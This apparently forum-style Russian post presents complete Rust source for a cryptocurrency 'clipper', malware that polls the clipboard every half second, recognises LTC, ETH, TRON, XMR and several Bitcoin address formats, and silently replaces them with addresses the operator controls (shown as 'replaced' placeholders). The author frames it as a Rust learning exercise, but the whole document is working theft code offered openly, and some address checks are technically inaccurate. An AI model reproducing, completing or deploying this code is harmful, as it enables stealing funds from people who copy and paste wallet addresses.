Ниже приведен простой клиппер, который я создал, чтобы опробовать язык программирования Rust. Поддерживает ltc,eth,tron,xmr и несколько типов адресов BTC.
Код:
use core::str;
use arboard::Clipboard;
use std::collections::HashMap;
use std::time::Duration;
use std::thread;
fn is_xmr_address(address: &str) -> bool {
if address.len() != 95 {
return false;
}
if !has_prefix(address, "4") && !has_prefix(address, "8") {
return false;
}
return is_base58(address)
}
fn is_btc_p2pkh_address(address: &str) -> bool {
if address.len() < 26 || address.len() > 34 {
return false;
}
if !has_prefix(address, "1") {
return false;
}
return is_base58(address)
}
fn is_btc_p2sh_address(address: &str) -> bool {
if address.len() != 34 {
return false;
}
if !has_prefix(address, "3") {
return false;
}
return is_base58(address)
}
fn is_btc_p2wpkh_address(address: &str) -> bool {
if address.len() != 42 {
return false;
}
if !has_prefix(address, "bc1q") {
return false;
}
return is_alphanumeric(address)
}
fn is_btc_p2wsh_address(address: &str) -> bool {
if address.len() != 62 {
return false;
}
if !has_prefix(address, "bc1q") {
return false;
}
return is_alphanumeric(address)
}
fn is_btc_p2tr_address(address: &str) -> bool {
if address.len() != 62 {
return false;
}
if !has_prefix(address, "bc1p") {
return false;
}
return is_base58(address)
}
fn is_tron_address(address: &str) -> bool {
if address.len() != 34 {
return false;
}
if !has_prefix(address, "T") {
return false;
}
return is_base58(address);
}
fn is_eth_address(address: &str) -> bool {
if address.len() != 42 {
return false;
}
if !has_prefix(address, "0x") {
return false;
}
let hex_section = &address[2..];
return is_hexidecimal(hex_section)
}
fn is_ltc_address(address: &str) -> bool {
if address.len() != 43 {
return false;
}
if !has_prefix(address, "ltc1") {
return false;
}
return is_alphanumeric(address)
}
fn is_base58(encoded_string: &str) -> bool {
let char_set = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
for c in encoded_string.chars() {
if !char_set.contains(c) {
return false;
}
}
return true;
}
fn is_alphanumeric(encoded_string: &str) -> bool {
let char_set = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
for c in encoded_string.chars() {
if !char_set.contains(c) {
return false;
}
}
return true;
}
fn is_hexidecimal(encoded_string: &str) -> bool {
let char_set = "0123456789abcdefABCDEF";
for c in encoded_string.chars() {
if !char_set.contains(c) {
return false;
}
}
return true;
}
fn has_prefix(base_string:&str, prefix:&str) -> bool {
if prefix.len() > base_string.len() {
return false;
}
let prefix_len = prefix.len();
return prefix.as_bytes()[0..prefix_len] == base_string.as_bytes()[0..prefix_len];
}
fn main() {
let mut available_addresses: HashMap<String, String> = HashMap::new();
available_addresses.insert("ltc".to_string(), "replaced".to_string());
available_addresses.insert("eth".to_string(), "replaced".to_string());
available_addresses.insert("tron".to_string(), "replaced".to_string());
available_addresses.insert("xmr".to_string(), "replaced".to_string());
available_addresses.insert("btc_p2pkh".to_string(), "replaced".to_string());
available_addresses.insert("btc_p2sh".to_string(), "replaced".to_string());
available_addresses.insert("btc_p2wpkh".to_string(),"replaced".to_string());
available_addresses.insert("btc_p2wsh".to_string(), "replaced".to_string());
available_addresses.insert("btc_p2tr".to_string(),"replaced".to_string());
let mut clipboard = Clipboard::new().unwrap();
loop {
match clipboard.get_text() {
Ok(result) => {
if result.len() < 100 {
if is_ltc_address(&result) {
clipboard.set_text(available_addresses["ltc"].clone()).unwrap();
} else if is_xmr_address(&result) {
clipboard.set_text(available_addresses["xmr"].clone()).unwrap();
} else if is_tron_address(&result) {
clipboard.set_text(available_addresses["tron"].clone()).unwrap();
} else if is_eth_address(&result) {
clipboard.set_text(available_addresses["eth"].clone()).unwrap();
} else if is_btc_p2pkh_address(&result) {
clipboard.set_text(available_addresses["btc_p2pkh"].clone()).unwrap();
} else if is_btc_p2sh_address(&result) {
clipboard.set_text(available_addresses["btc_p2sh"].clone()).unwrap();
} else if is_btc_p2wpkh_address(&result) {
clipboard.set_text(available_addresses["btc_p2wpkh"].clone()).unwrap();
} else if is_btc_p2wsh_address(&result) {
clipboard.set_text(available_addresses["btc_p2wsh"].clone()).unwrap();
} else if is_btc_p2tr_address(&result) {
clipboard.set_text(available_addresses["btc_p2tr"].clone()).unwrap();
}
}
}
Err(_result) => {
continue;
}
}
thread::sleep(Duration::from_millis(500))
}
}